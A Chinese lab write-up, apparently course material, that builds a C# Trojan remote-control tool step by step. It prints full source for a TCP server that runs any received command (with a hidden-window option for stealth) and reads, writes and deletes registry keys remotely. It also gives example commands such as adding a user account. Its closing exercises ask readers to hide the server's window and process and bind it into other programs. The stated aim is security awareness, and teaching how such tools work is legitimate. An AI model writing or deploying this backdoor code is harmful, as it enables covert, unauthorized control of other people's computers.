【摘要】
本实验所做的工作主要在于对黑客常用的攻击手法—特洛伊木马的原理做一定的探究,加强网络安全意识,熟悉.Net应用程序开发.
【关键字】
特洛伊木马 C# ShellExecute TcpClient
【开发语言及实现平台】
1.开发语言
C#.Net语言
2.软件平台
OS(操作系统): Windows 2000/XP/Server2003 (Windows NT系列)
IDE(集成开发环境):Microsoft Visual Studio .NET 2003
3.硬件平台
a.拥有网络连接的PC机一组及相应网络连接设备;
b.处理器 III以上或相应的其他品牌处理器;
c.内存:64MB或以上
【实验目的】
(1)通过实际操作,掌握远程控制系统开发的原理.
(2)了解远程控制系统的特点,强化网络安全意识.
【实验要求】
(1)掌握并使用TcpClient类进行网络连接
(2)使用C#异常处理机制,强化程序鲁棒性
(3)熟悉C#.Net GUI编程
【实验原理】
一.远程控制系统又被称为木马程序,在黑客攻击领域,这是最初级的技巧.但是同时它又是最常用的攻击方法.了解和掌握远程控制系统的原理和开发步骤,对提高网络安全意识有着很大的帮助.
二.远程控制系统就其本质而言,不过是一个典型的Client/Server结构的网络应用程序,客户端担任了控制他人的角色,它将用户想要做的任务翻译成系统商定好的语言并传输给担任后台控制的服务端.服务端接收到信息后就可以通过商定的语言来得知具体要做什么事情,完成一次远程控制.
要写一个完善的远程控制系统并不轻松,除了要掌握各种系统知识,还要在隐藏性上大做文章,在此由于篇幅有限,我们仅对通信传输等基础部分展开讨论.
【实验步骤】
本实验在Microsoft Visual Studio .NET 2003 平台下完成,采用C#语言,必须在装有.Net Framework的环境下才可以正常运行
一.客户端的实现
1.新建一个C#应用程序项目Client.
2.添加控件,如下图所示
在新建的Form中加入三个Label三个TextBox三个Button,分别编辑他们的属性,做到类似上图的效果
3.添加using
右击设计窗体,点击查看代码
在代码的最上面,我们可以看到一系列的using,为了方便使用,我们再加入:
using System.Net.Sockets;
using System.Net;
using System.IO;
4.为Form1类添加变量
在Form1类中增加如下成员变量
private TcpClient tc1;23
private Stream st1;
5.添加网络收发函数
public void WriteToServer(string command)
{
//将string转换成byte[]
byte[] tosend=System.Text.Encoding.Default.GetBytes(command);
//发送数据
st1.Write(tosend,0,tosend.Length);
}
6.为按钮添加事件
双击"连接"按钮,添加代码如下:
private void button1_Click(object sender, System.EventArgs e)
{
try
{
//连接服务器端,
tc1.Connect(textBox1.Text,5211);
//获取stream
st1=tc1.GetStream();
textBox3.Text="连接成功";
}
catch{textBox3.Text="有错误发生";}
}
双击"发送"按钮,添加代码如下:
private void button3_Click(object sender, System.EventArgs e)
{
try
{
//将textBox2的内容发送给Server
WriteToServer(textBox2.Text);
textBox3.Text="发送成功";
}
catch{textBox3.Text="有错误发生";}
}
双击"断开"按钮,添加代码如下:
private void button2_Click(object sender, System.EventArgs e)
{
try
{
st1=null;
tc1=new TcpClient();
}
catch{textBox3.Text="有错误发生";}
}
7.修改构造函数
public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
tc1=new TcpClient();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
至此,我们的Client的已经制作完成了,当然它还什么都不能做,不用着急我们马上来完成Server.
二.服务端的实现
服务端事实上就是接收命令并完成工作的组件.
相信大家都用过Windows中的"运行",其实它的功能非常强大,可以打开文件,进入非常用功能,添加用户,定时关机等等.今天我们利用System.Diagnostics.Process.Start来实现相类似的操作
1.新建一个C#应用程序项目Server.
2.添加using
using System.Net.Sockets;
using System.Net;
using System.IO;
using System.Threading;
3.添加Form1类的成员变量
private TcpListener tl1;
private Stream st1;
private Thread th;
4.添加命令分割函数
请注意,在用Process.Start的时候,需要区分命令和参数,例如:net user curl et /add中,net就是命令,而其后的就是参数,我们可以大致这样认为,第一个空格前的为命令,后为参数.因此在接收到客户端的命令后,首先需要把他分割为命令和参数.
添加如下的函数:
public void SplitandExe(string command)
{
try
{
//通过空格的位置获取子字串,置为命令
string com=command.Substring(0,command.IndexOf(" "));
//剩下的归为参数
string para=command.Substring(command.IndexOf(" ")+1,command.Length-command.IndexOf(" ")-1);
//执行
System.Diagnostics.Process.Start(com,para);
}
catch
{
//可能没有空格,那么直接执行
System.Diagnostics.Process.Start(command);
}
}
请注意IndexOf中引号内为空格
5.添加网络收取函数
public string ReadFromClient()
{
//建立新的byte数组
byte[] buf=new byte[500];
//收取
st1.Read(buf,0,500);
//获取string
string comm=System.Text.Encoding.Default.GetString(buf);
return comm;
}
6.添加主循环过程函数
public void working()
{
try
{
tl1=new TcpListener(5211);//监听5211端口
tl1.Start(); //开始监听
Socket mysock=tl1.AcceptSocket();
st1=new NetworkStream(mysock);//获取流
while(mysock.Connected)
{
string command=ReadFromClient();
SplitandExe(command);
}
}
catch{}
}
7.修改构造函数
public Form1()
{
InitializeComponent();
tl1=new TcpListener(5211);
th=new Thread(new ThreadStart(working));
th.Start();
}
8.修改Dispose函数
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
if(th!=null)
{
try
{
th.Abort();//中止线程
th=null;
}
catch{}
}
}
base.Dispose( disposing );
}
这样就完成了一个最简单的Server,这里用到了线程,请注意网络编程中线程是个必不可少的环节,请读者务必要掌握多线程编程,才能有效地应付网络编程的各个挑战.
三.测试
好了让我看看实际的效果,分别运行Client和Server端,如下图所示.
点击Client里面的"连接"按钮,正确连接的话就回馈里面会显示连接成功
然后我们可以输入这个命令:shutdown –s –t 1000,意思为1000秒后关机
如果运行正常,则系统会弹出这个窗体
我们可以继续发送命令shutdown –a来取消.
当然我们可以测试一切在运行中能够运行的命令,比如net user curl et /add来加一个用户.一个最简单的远程控制系统就完成了.
四.命令列表
ShellExecute的功能非常强大,可以完成许多功能,这里给出一些实际的例子:
winver---------------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr-----------windows更新程序
wscript--------------windows脚本宿主设置
winchat-------------XP自带局域网聊天
mem.exe-----------显示内存使用情况
Msconfig.exe------系统配置实用程序
mobsync------------同步命令
dxdiag---------------检查DirectX信息
drwtsn32-------------系统医生
devmgmt.msc--------- 设备管理器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad-----------打开记事本
sfc /scannow---windows文件保护
tsshutdn----------60秒倒计时关机命令
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1----------显示辅助功能选项
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1---打开系统属性
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1-----------删除或添加程序
cmd.exe----------CMD命令提示符
chkdsk.exe------Chkdsk磁盘检查
osk-----------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff-------------注销命令
锁定桌面-------------rundll32.Exe user32.dll LockWorkStation
关机--------------------- rundll32.exe shell32.dll,SHExitWindowsEx 4
注销--------------------- rundll32.exe shell32.dll,SHExitWindowsEx 1
有了以上这么多功能,我们已经可以利用我们的程序做很多事情了,读者可以把命令封装到程序内,那样以后就不必记那么多冗长的命令了.
可以在本机的"运行"里面测试以上命令.
细心的读者可能已经发现,我们还不具备文件传输和注册表操作这两个很重要的功能,虽然利用ShellExecute完全可以完成这部分的功能,但是非常繁琐,以下我们就来完善一下我们的程序,让它有更多实用的功能
五.扩展程序部分
一个完善的远程控制程序必须有完整的功能集合,但是究其根本原理,还是不外乎客户端发送信息,服务端解析信息执行命令这个典型的C/S工作模式,那么如何分辨众多命令呢 .Net方便强大的String类给了我们一个良好的解决方案.
在构造命令格式之前,我们需要了解的是'/0'这个字符在网络传输中有十分重要的地位,由于在小数据量信息通信是,往往就是用该字符分割一次传输,我们需要特别注意避免在传输中加入'/0'字符(文件传输有特殊的解决方案).另外由于网络传输中有缓冲区的存在,在编程中,我们应该力求做到"一收一发",即发送一个命令必须等待一个回馈,这点非常重要,大量网络编程中遇到的问题直接和这点有关,请读者特别要留意.
在Windows中'|'字符是不可以作为文件名的,我们推荐用它来做命令的分割符.
*分割命令实现:
使用string.Split方法来分割我们的命令行,返回一个string数组,例如
string[] temps=cm.Split('|');
这样就可以把命令和参数清楚地分别开来
*准确接收字符串
在前面简单的例子里我们学会了使用Netstream来接收byte[],并且转换成string,但是在实际应用的环境下,Socket发送的数据是难以估计的,确切的说,是会带有不可估计的'/0'字符,而在Debug和Release环境下,转换string时对'/0'的处理也是有所不同的,为了保证最大的兼容性,我们需要把得到的字符串用Trim方法去处'/0'.
修改后的函数如下:
public string ReadFromServer()
{
//建立新的byte数组
byte[] buf=new byte[500];
//收取
st1.Read(buf,0,500);
//获取string
string comm=System.Text.Encoding.Default.GetString(buf);
comm=comm.Trim('/0');
return comm;
}
*ShellExecute的隐藏执行
有些读者可能会提出这样一个问题,在ShellExecute执行一个基于Console的程序时,会有一个DOS窗口弹出,影响了程序的隐蔽性,那么如何消除呢 我们需要把ShellExecute的实现方法做一下调整,请看如下代码:
ProcessStartInfo startInfo = new ProcessStartInfo(temps[2]);
if(temps[1]=="hide") startInfo.WindowStyle = ProcessWindowStyle.Hidden;
if(temps.Length>3) startInfo.Arguments = temps[3];
Process.Start(startInfo);
奥妙就在startInfo.WindowStyle之中,如此调整执行方法就可以隐藏一闪而过的DOS窗口了,读者可以运行一下NET USER CURL CURL /add来验证一下.
*注册表的操作
.NET为我们提供了很方便的注册表操作类,首先using Microsoft.Win32
让我们看一下这个例子:
RegistryKey rk=null;
string[] temps=para.Split('//');
if(temps[0]=="HKEY_LOCAL_MACHINE") rk=Registry.LocalMachine;
else if(temps[0]=="HKEY_CLASSES_ROOT") rk=Registry.ClassesRoot;
else if(temps[0]=="HKEY_CURRENT_USER") rk=Registry.CurrentUser;
else if(temps[0]=="HKEY_CURRENT_CONFIG") rk=Registry.CurrentConfig;
else if(temps[0]=="HKEY_USERS") rk=Registry.Users;
string subkey=para.Substring(temps[0].Length+1,para.Length-temps[0].Length-1);
rk.CreateSubKey(subkey);
return true;
很明显,我们需要首先建立一个RegistryKey的对象实例,在Windows注册表中有五个Roots,分别是:
HKEY_LOCAL_MACHINE,HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HEKY_CURRENT_CONFIG,HKEY_USERS
当然事实上不是5个,其中有几个是其他根的子树的映射,请读者自行查阅资料.
在平时,我们在注册表编辑器中常看见如下的路径HKEY_CURRENT_USER/Printers/Connections,但是我们不能用这种路径直接进行操作,根必须先进行转换,大致思路就是上述代码所表示的,实际的不同情况有不同的处理方法,请参阅后文的详细源代码
*命令表
这次我们要把程序的功能所一定的扩充,增加几种新功能,命令原语如下:
弹出MessageBox 命令格式: mess stringtoshow 例子:mess letsrock
Shell执行 命令格式:shell|[normal/hide]|command 例子:shell|hide|net user
创建注册表键 命令格式:CRK|keypath 例子:CRK|HKEY_CURRENT_USERS/test
删除注册表键 命令格式RK|keypath 例子RK|HKEY_CURRENT_USER/test
设置注册表值 命令格式:SRV|keypath|item|value 例子:SRV|HKEY_USERS/test|item|god
获取注册表值 命令格式:GRV|keypath|item 例子:GRV|HEKY_USERS/test|item
在一个功能众多的远程控制程序的编写中,列出详细的命令表是十分必要的
*界面设计
下面给出一个Client端的设计方案:
在第一个例子里,读者已经掌握了C#基于Windows Forms的界面设计,请按照截图自行安排Form.
Server端不需要用户控件:
安排好控件后,加入详细代码即可
*TrojanServer端详细源代码:
//start
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net.Sockets;
using System.Net;
using System.IO;
using System.Threading;
using System.Diagnostics;
using Microsoft.Win32;
namespace TrojanServer
{
///
/// Form1 的摘要说明.
///
public class Form1 : System.Windows.Forms.Form
{
///
/// 必需的设计器变量.
///
private System.ComponentModel.Container components = null;
private TcpListener tl1;
private Stream st1;
private Thread th;
public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
tl1=new TcpListener(1000);
th=new Thread(new ThreadStart(working));
th.Start();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
///
/// 清理所有正在使用的资源.
///
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(th!=null)
{
try
{
th.Abort();//中止线程
th=null;
tl1.Stop();
st1.Close();
}
catch{}
}
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容.
///
private void InitializeComponent()
{
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(292, 158);
this.Name = "Form1";
this.Text = "Form1";
}
#endregion
///
/// 应用程序的主入口点.
///
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
///
/// 获取命令
///
///
public string ReadFromClient()
{
//建立新的byte数组
byte[] buf=new byte[500];
//收取
st1.Read(buf,0,500);
//获取string
string comm=System.Text.Encoding.Default.GetString(buf);
comm=comm.Trim('/0');
return comm;
}
///
/// 发送反馈
///
///
public void WriteToClient(string command)
{
//将string转换成byte[]
byte[] tosend=System.Text.Encoding.Default.GetBytes(command);
//发送数据
st1.Write(tosend,0,tosend.Length);
}
///
/// 主工作循环
///
public void working()
{
Socket mysock;
try
{
while(true)
{
tl1=new TcpListener(1000);//监听5211端口
tl1.Start(); //开始监听
mysock=tl1.AcceptSocket();
st1=new NetworkStream(mysock);//获取流
while(mysock.Connected)
{
string command=ReadFromClient();
if(command.StartsWith("disconnect")) mysock.Close();
ExecuteCM(command);
}
tl1.Stop();
}
}
catch{}
}
///
/// 执行命令
///
///
public void ExecuteCM(string cm)
{
string[] temps=cm.Split('|');
if(temps[0]=="mess")
{
MessageBox.Show(temps[1]);
this.WriteToClient("OK");
}
else if(temps[0]=="shell")
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo(temps[2]);
if(temps[1]=="hide") startInfo.WindowStyle = ProcessWindowStyle.Hidden;
if(temps.Length>3) startInfo.Arguments = temps[3];
Process.Start(startInfo);
this.WriteToClient("OK");
}
catch{this.WriteToClient("fail");}
}
else if(temps[0]=="CRK")
{
try
{
if(CreateRegKey(temps[1]))
this.WriteToClient("OK");
else this.WriteToClient("fail");
}
catch{this.WriteToClient("fail");}
}
else if(temps[0]=="DRK")
{
try
{
if(DeleteRegKey(temps[1]))
this.WriteToClient("OK");
else this.WriteToClient("fail");
}
catch{this.WriteToClient("fail");}
}
else if(temps[0]=="GRV")
{
try
{
this.WriteToClient(GetRegValue(temps[1],temps[2]));
}
catch{this.WriteToClient("fail");}
}
else if(temps[0]=="SRV")
{
try
{
if(SetRegValue(temps[2],temps[3],temps[4],temps[1]))
this.WriteToClient("OK");
else this.WriteToClient("fail");
}
catch{this.WriteToClient("fail");}
}
}
///
/// 创建key
///
///
public bool CreateRegKey(string para)
{
try
{
RegistryKey rk=null;
string[] temps=para.Split('//');
if(temps[0]=="HKEY_LOCAL_MACHINE") rk=Registry.LocalMachine;
else if(temps[0]=="HKEY_CLASSES_ROOT") rk=Registry.ClassesRoot;
else if(temps[0]=="HKEY_CURRENT_USER") rk=Registry.CurrentUser;
else if(temps[0]=="HKEY_CURRENT_CONFIG") rk=Registry.CurrentConfig;
else if(temps[0]=="HKEY_USERS") rk=Registry.Users;
string subkey=para.Substring(temps[0].Length+1,para.Length-temps[0].Length-1);
rk.CreateSubKey(subkey);
return true;
}
catch{
return false;
}
}
///
/// 删除key
///
///
public bool DeleteRegKey(string para)
{
try
{
RegistryKey rk=null;
string[] temps=para.Split('//');
if(temps[0]=="HKEY_LOCAL_MACHINE") rk=Registry.LocalMachine;
else if(temps[0]=="HKEY_CLASSES_ROOT") rk=Registry.ClassesRoot;
else if(temps[0]=="HKEY_CURRENT_USER") rk=Registry.CurrentUser;
else if(temps[0]=="HKEY_CURRENT_CONFIG") rk=Registry.CurrentConfig;
else if(temps[0]=="HKEY_USERS") rk=Registry.Users;
string subkey=para.Substring(temps[0].Length+1,para.Length-temps[0].Length-1);
rk.DeleteSubKey(subkey);
return true;
}
catch
{
return false;
}
}
///
/// 获取值
///
///
public string GetRegValue(string key,string item)
{
try
{
RegistryKey rk=null;
string[] temps=key.Split('//');
if(temps[0]=="HKEY_LOCAL_MACHINE") rk=Registry.LocalMachine;
else if(temps[0]=="HKEY_CLASSES_ROOT") rk=Registry.ClassesRoot;
else if(temps[0]=="HKEY_CURRENT_USER") rk=Registry.CurrentUser;
else if(temps[0]=="HKEY_CURRENT_CONFIG") rk=Registry.CurrentConfig;
else if(temps[0]=="HKEY_USERS") rk=Registry.Users;
string subkey=key.Substring(temps[0].Length+1,key.Length-temps[0].Length-1);
RegistryKey rk2=rk.OpenSubKey(subkey,true);
string v=rk2.GetValue(item).ToString();
return v;
}
catch
{
return "fail";
}
}
///
/// 设置值
///
///
public bool SetRegValue(string key,string item,string v,string way)
{
try
{
RegistryKey rk=null;
string[] temps=key.Split('//');
if(temps[0]=="HKEY_LOCAL_MACHINE") rk=Registry.LocalMachine;
else if(temps[0]=="HKEY_CLASSES_ROOT") rk=Registry.ClassesRoot;
else if(temps[0]=="HKEY_CURRENT_USER") rk=Registry.CurrentUser;
else if(temps[0]=="HKEY_CURRENT_CONFIG") rk=Registry.CurrentConfig;
else if(temps[0]=="HKEY_USERS") rk=Registry.Users;
string subkey=key.Substring(temps[0].Length+1,key.Length-temps[0].Length-1);
RegistryKey rk2=rk.OpenSubKey(subkey,true);
if(way=="string")
rk2.SetValue(item,v);
else rk2.SetValue(item,Int32.Parse(v));
return true;
}
catch
{
return false;
}
}
}
}
//end
*TrojanClient详细源代码:
///start
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net.Sockets;
using System.Net;
using System.IO;
namespace TrojanClient
{
///
/// Form1 的摘要说明.
///
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.RadioButton radioButton1;
private System.Windows.Forms.CheckBox checkBox1;
private System.Windows.Forms.RadioButton radioButton2;
private System.Windows.Forms.RadioButton radioButton3;
private System.Windows.Forms.RadioButton radioButton4;
private System.Windows.Forms.RadioButton radioButton5;
private System.Windows.Forms.RadioButton radioButton6;
private System.Windows.Forms.CheckBox checkBox2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Button button3;
///
/// 必需的设计器变量.
///
private TcpClient tc1;
private Stream st1;
private System.ComponentModel.Container components = null;
public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
tc1=new TcpClient();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
///
/// 清理所有正在使用的资源.
///
protected override void Dispose( bool disposing )
{
if( disposing )
{
try
{
this.WriteToServer("disconnect");
}
catch{}
try
{
tc1.Close();
}
catch{}
try
{
st1.Close();
}
catch{}
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容.
///
private void InitializeComponent()
{
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.textBox1 = new System.Windows.Forms.TextBox();
this.textBox2 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.radioButton1 = new System.Windows.Forms.RadioButton();
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.radioButton2 = new System.Windows.Forms.RadioButton();
this.radioButton3 = new System.Windows.Forms.RadioButton();
this.radioButton4 = new System.Windows.Forms.RadioButton();
this.radioButton5 = new System.Windows.Forms.RadioButton();
this.radioButton6 = new System.Windows.Forms.RadioButton();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.label3 = new System.Windows.Forms.Label();
this.textBox3 = new System.Windows.Forms.TextBox();
this.label4 = new System.Windows.Forms.Label();
this.textBox4 = new System.Windows.Forms.TextBox();
this.button3 = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout();
this.SuspendLayout();
//
// label1
//
this.label1.Location = new System.Drawing.Point(24, 16);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(80, 16);
this.label1.TabIndex = 0;
this.label1.Text = "Server IP:";
//
// label2
//
this.label2.Location = new System.Drawing.Point(24, 56);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(88, 16);
this.label2.TabIndex = 1;
this.label2.Text = "Server Port:";
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(112, 8);
this.textBox1.Name = "textBox1";
this.textBox1.TabIndex = 2;
this.textBox1.Text = "127.0.0.1";
//
// textBox2
//
this.textBox2.Location = new System.Drawing.Point(112, 48);
this.textBox2.Name = "textBox2";
this.textBox2.TabIndex = 3;
this.textBox2.Text = "1000";
//
// button1
//
this.button1.Location = new System.Drawing.Point(240, 8);
this.button1.Name = "button1";
this.button1.TabIndex = 4;
this.button1.Text = "Connect";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(240, 48);
this.button2.Name = "button2";
this.button2.TabIndex = 5;
this.button2.Text = "Disconnect";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// groupBox1
//
this.groupBox1.Controls.Add(this.checkBox2);
this.groupBox1.Controls.Add(this.radioButton6);
this.groupBox1.Controls.Add(this.radioButton5);
this.groupBox1.Controls.Add(this.radioButton4);
this.groupBox1.Controls.Add(this.radioButton3);
this.groupBox1.Controls.Add(this.radioButton2);
this.groupBox1.Controls.Add(this.checkBox1);
this.groupBox1.Controls.Add(this.radioButton1);
this.groupBox1.Location = new System.Drawing.Point(336, 8);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(296, 216);
this.groupBox1.TabIndex = 6;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Command Selection";
//
// radioButton1
//
this.radioButton1.Checked = true;
this.radioButton1.Location = new System.Drawing.Point(16, 24);
this.radioButton1.Name = "radioButton1";
this.radioButton1.TabIndex = 0;
this.radioButton1.TabStop = true;
this.radioButton1.Text = "ShellExecute";
//
// checkBox1
//
this.checkBox1.Location = new System.Drawing.Point(160, 24);
this.checkBox1.Name = "checkBox1";
this.checkBox1.TabIndex = 1;
this.checkBox1.Text = "ShellExeHide";
//
// radioButton2
//
this.radioButton2.Location = new System.Drawing.Point(16, 56);
this.radioButton2.Name = "radioButton2";
this.radioButton2.TabIndex = 2;
this.radioButton2.Text = "MessageBox";
//
// radioButton3
//
this.radioButton3.Location = new System.Drawing.Point(16, 88);
this.radioButton3.Name = "radioButton3";
this.radioButton3.TabIndex = 3;
this.radioButton3.Text = "CreateRegKey";
//
// radioButton4
//
this.radioButton4.Location = new System.Drawing.Point(160, 88);
this.radioButton4.Name = "radioButton4";
this.radioButton4.TabIndex = 4;
this.radioButton4.Text = "DeleteRegKey";
//
// radioButton5
//
this.radioButton5.Location = new System.Drawing.Point(16, 120);
this.radioButton5.Name = "radioButton5";
this.radioButton5.TabIndex = 5;
this.radioButton5.Text = "SetRegValue";
//
// radioButton6
//
this.radioButton6.Location = new System.Drawing.Point(160, 120);
this.radioButton6.Name = "radioButton6";
this.radioButton6.TabIndex = 6;
this.radioButton6.Text = "GetRegValue";
//
// checkBox2
//
this.checkBox2.Location = new System.Drawing.Point(160, 152);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(120, 24);
this.checkBox2.TabIndex = 7;
this.checkBox2.Text = "Numerical value";
//
// label3
//
this.label3.Location = new System.Drawing.Point(8, 80);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(100, 16);
this.label3.TabIndex = 7;
this.label3.Text = "Feedback:";
//
// textBox3
//
this.textBox3.Location = new System.Drawing.Point(8, 96);
this.textBox3.Multiline = true;
this.textBox3.Name = "textBox3";
this.textBox3.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox3.Size = new System.Drawing.Size(312, 128);
this.textBox3.TabIndex = 8;
this.textBox3.Text = "";
//
// label4
//
this.label4.Location = new System.Drawing.Point(8, 232);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(72, 16);
this.label4.TabIndex = 9;
this.label4.Text = "arameter:";
//
// textBox4
//
this.textBox4.Location = new System.Drawing.Point(8, 248);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new System.Drawing.Size(544, 21);
this.textBox4.TabIndex = 10;
this.textBox4.Text = "";
//
// button3
//
this.button3.Location = new System.Drawing.Point(560, 248);
this.button3.Name = "button3";
this.button3.TabIndex = 11;
this.button3.Text = "Send";
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(648, 278);
this.Controls.Add(this.button3);
this.Controls.Add(this.textBox4);
this.Controls.Add(this.label4);
this.Controls.Add(this.textBox3);
this.Controls.Add(this.label3);
this.Controls.Add(this.groupBox1);
this.Controls.Add(this.button2);
this.Controls.Add(this.button1);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Name = "Form1";
this.Text = "Client";
this.groupBox1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
///
/// 应用程序的主入口点.
///
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
///
/// 发送命令
///
///
public void WriteToServer(string command)
{
//将string转换成byte[]
byte[] tosend=System.Text.Encoding.Default.GetBytes(command);
//发送数据
st1.Write(tosend,0,tosend.Length);
}
///
/// 接受回馈
///
///
public string ReadFromServer()
{
//建立新的byte数组
byte[] buf=new byte[500];
//收取
st1.Read(buf,0,500);
//获取string
string comm=System.Text.Encoding.Default.GetString(buf);
comm=comm.Trim('/0');
return comm;
}
///
/// Connect button
///
///
///
private void button1_Click(object sender, System.EventArgs e)
{
int port=1000;
try
{
port=Int32.Parse(this.textBox2.Text);
}
catch{textBox3.AppendText("输入有误");}
try
{
//连接服务器端,
tc1.Connect(textBox1.Text,port);
//获取stream
st1=tc1.GetStream();
textBox3.AppendText("连接成功/r/n");
}
catch{textBox3.AppendText("有错误发生/r/n");}
}
///
/// Disconnet button
///
///
///
private void button2_Click(object sender, System.EventArgs e)
{
try
{
this.WriteToServer("disconnect");
st1.Close();
tc1.Close();
tc1=new TcpClient();
textBox3.AppendText("成功断开/r/n");
}
catch{textBox3.AppendText("有错误发生/r/n");}
}
///
/// Send button
///
///
///
private void button3_Click(object sender, System.EventArgs e)
{
if(st1==null) return;
string com="";
if(this.radioButton1.Checked)
{
if(this.checkBox1.Checked) com="shell|hide|";
else com="shell|normal|";
textBox3.AppendText("执行命令:"+textBox4.Text+"/r/n");
string temp=textBox4.Text;
int x=temp.IndexOf(" ",0,temp.Length);
if(x>0) textBox4.Text=temp.Substring(0,x)+"|"+temp.Substring(x+1,temp.Length-x-1);
}
else if(this.radioButton2.Checked)
{
com="mess|";
textBox3.AppendText("弹出MessageBox:"+textBox4.Text+"/r/n");
}
else if(this.radioButton3.Checked)
{
com="CRK|";
textBox3.AppendText("创建注册表键:"+textBox4.Text+"/r/n");
}
else if(this.radioButton4.Checked)
{
com="DRK|";
textBox3.AppendText("删除注册表键:"+textBox4.Text+"/r/n");
}
else if(this.radioButton5.Checked)
{
com="SRV|";
if(this.checkBox2.Checked) com=com+"num|";
else com=com+"string|";
textBox3.AppendText("设置注册表值:"+textBox4.Text+"/r/n");
}
else if(this.radioButton6.Checked)
{
com="GRV|";
textBox3.AppendText("获取注册表值:"+textBox4.Text+"/r/n");
}
com+=this.textBox4.Text;
//命令组装完成,发送
this.WriteToServer(com);
//接收回馈
CheckFeedback();
//MessageBox.Show(com);
}
///
/// 检查回馈并作出反应
///
public void CheckFeedback()
{
try
{
string feed=this.ReadFromServer();
if(feed.StartsWith("OK")) textBox3.AppendText("执行成功/r/n");
else if(feed.StartsWith("fail")) textBox3.AppendText("执行失败/r/n");
else textBox3.AppendText(feed+"/r/n");
}
catch{this.textBox3.AppendText("接收回馈失败/r/n");}
}
}
}
//end
*注意点
执行设置注册表值和获取注册表值得时候,需要用户自行用'|'来分割命令,并且请注意Key和Item概念的分别,例如:
设置值,用户输入:HKEY_CURRENT_USER/testkey|testitem|newvalue
获取值,用户输入: HKEY_CURRENT_USER/testkey|testitem
这点请特别注意,否则Server不能正确执行程序.
【思考题】
(1)Server端现在是有窗体的,这显然是不能接受的,分析Server代码,让窗口不再显示
(2)如何有效而快速的传输文件
(3)如何隐藏进程,达到隐蔽的效果
(4)如何把Server端捆绑到其他引用程序中
【参考文献】
[1] Microsoft,Microsoft Developer Network 2003,2003
[2] 杨金生,计算机网络实验指导,上海交通大学出版社,2002
特洛伊木马
最新推荐文章于 2024-01-27 09:39:33 发布